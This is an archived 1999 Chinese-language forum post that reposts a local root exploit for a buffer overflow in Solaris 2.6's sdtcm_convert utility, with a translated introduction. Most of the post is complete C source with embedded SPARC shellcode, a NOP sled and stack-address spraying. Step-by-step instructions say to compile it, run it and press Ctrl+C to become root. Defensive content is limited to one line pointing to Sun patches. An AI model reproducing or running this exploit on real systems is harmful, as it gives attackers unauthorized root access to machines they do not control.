精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 计算机安全>>◆系统漏洞◆>>ex_sdtcm_convert 溢出漏洞

主题:ex_sdtcm_convert 溢出漏洞
发信人: [email protected]()
整理人: williamlong(1999-10-29 19:42:29), 站内信件

 

                ex_sdtcm_convert 溢出漏洞

             编译测试及中文翻译: 小鱼儿([email protected]
om) www.isbase.com 

  这里揭示一个存在于Solaris 2.6平台之上的溢出漏洞, 同时提供一个漏洞
程序来获取Root权限。

  我们通过以下可以确定这漏洞的危险性:

  1.在SUN环境下,用GCC编译以下附带的漏洞源程序。 
   % gcc ex_sdtcm_convert.c (This example program)

  2.运行生成的out文件
   % a.out
  如果没有响应,你按Ctrl+C 然后你就是Root了。 

  以下是程序代码: sdtcm_convert 溢出漏洞( for Sparc版 ) The Shadow 
Penguin Security 
(http://base.oc.to:/skyscraper/byte/551) Written by UNYUN (unewn4th@us
a.net)

  [usage]
  % gcc ex_sdtcm_convert.c (This example program)
  % a.out
  If no response, hit ctrl+c
  #(------->>>>now is root)

=================================isbase===============================
=====
  #define ADJUST 2 
  #define OFFSET1 4000 
  #define LENGTH1 260 
  #define OFFSET2 6000 
  #define LENGTH2 1000 
  #define OFFSET3 6000+16*30
  #define NOP 0xa61cc013
  char exploit_code[] =
  "\x82\x10\x20\x17\x91\xd0\x20\x08" 
  "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
  
  "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
 
  "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
 
  "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
 
  "\x82\x10\x20\x3b\x91\xd4\xff\xff"; 
  unsigned long get_sp(void)
  { 
  __asm__("mov %sp,%i0 \n"); 
  } 
  unsigned long ret_adr;
  int i; 
  main()
  {
  static char x[11000];
  memset(x,'a',10000);
  ret_adr=get_sp()-6300; 
  for (i = 0; i < 5000 ; i+=4){
  x[i+3]=ret_adr & 0xff;
  x[i+2]=(ret_adr >> 8 ) &0xff;
  x[i+1]=(ret_adr >> 16 ) &0xff; 
  x[i+0]=(ret_adr >> 24 ) &0xff; 
  }
  ret_adr=get_sp() - 10200;
  if ((ret_adr & 0xff )==0) ret_adr+=4;
  printf("%lx\n",ret_adr);
  for (i = OFFSET1+ADJUST; i < OFFSET1+LENGTH1 ; i+=4){
  x[i+3]=ret_adr & 0xff;
  x[i+2]=(ret_adr >> 8 ) &0xff;
  x[i+1]=(ret_adr >> 16 ) &0xff;
  x[i+0]=(ret_adr >> 24 ) &0xff; 
  }
  for (i = OFFSET2+ADJUST; i < OFFSET2+LENGTH2 ; i+=4){
  x[i+3]=NOP & 0xff;
  x[i+2]=(NOP >> 8 ) &0xff; 
  x[i+1]=(NOP >> 16 ) &0xff; 
  x[i+0]=(NOP >> 24 ) &0xff; 
  }
  for (i=0;i< strlen(exploit_code);i++) x[OFFSET3+ADJUST+i]=exploit_
code[i];
  x[10000]=0;
  execl("/usr/dt/bin/sdtcm_convert", "sdtcm_convert", "-d",x,"test",
(char *) 0);
  }
  解决方法: 到www.sun.com搜寻最新的patch

  本文由isbase成员编译或原创,如要转载请保持文章的完整性
  欢迎访问我们的站点http://www.isbase.com
  绿色兵团给你安全的保证

                       

--
我是[回合策略]版副,[宗教信仰]斑竹,欢迎大家常来坐坐。
欢迎光临魔法师学院http://wwwmagic.126.com或shizhao.topcool.net
* * * * *
无挂碍故无有恐怖
--DOS--

※ 来源:.网易虚拟社区北京站 http://bj.netease.com.[FROM: 202.106.248.124]

[关闭][返回]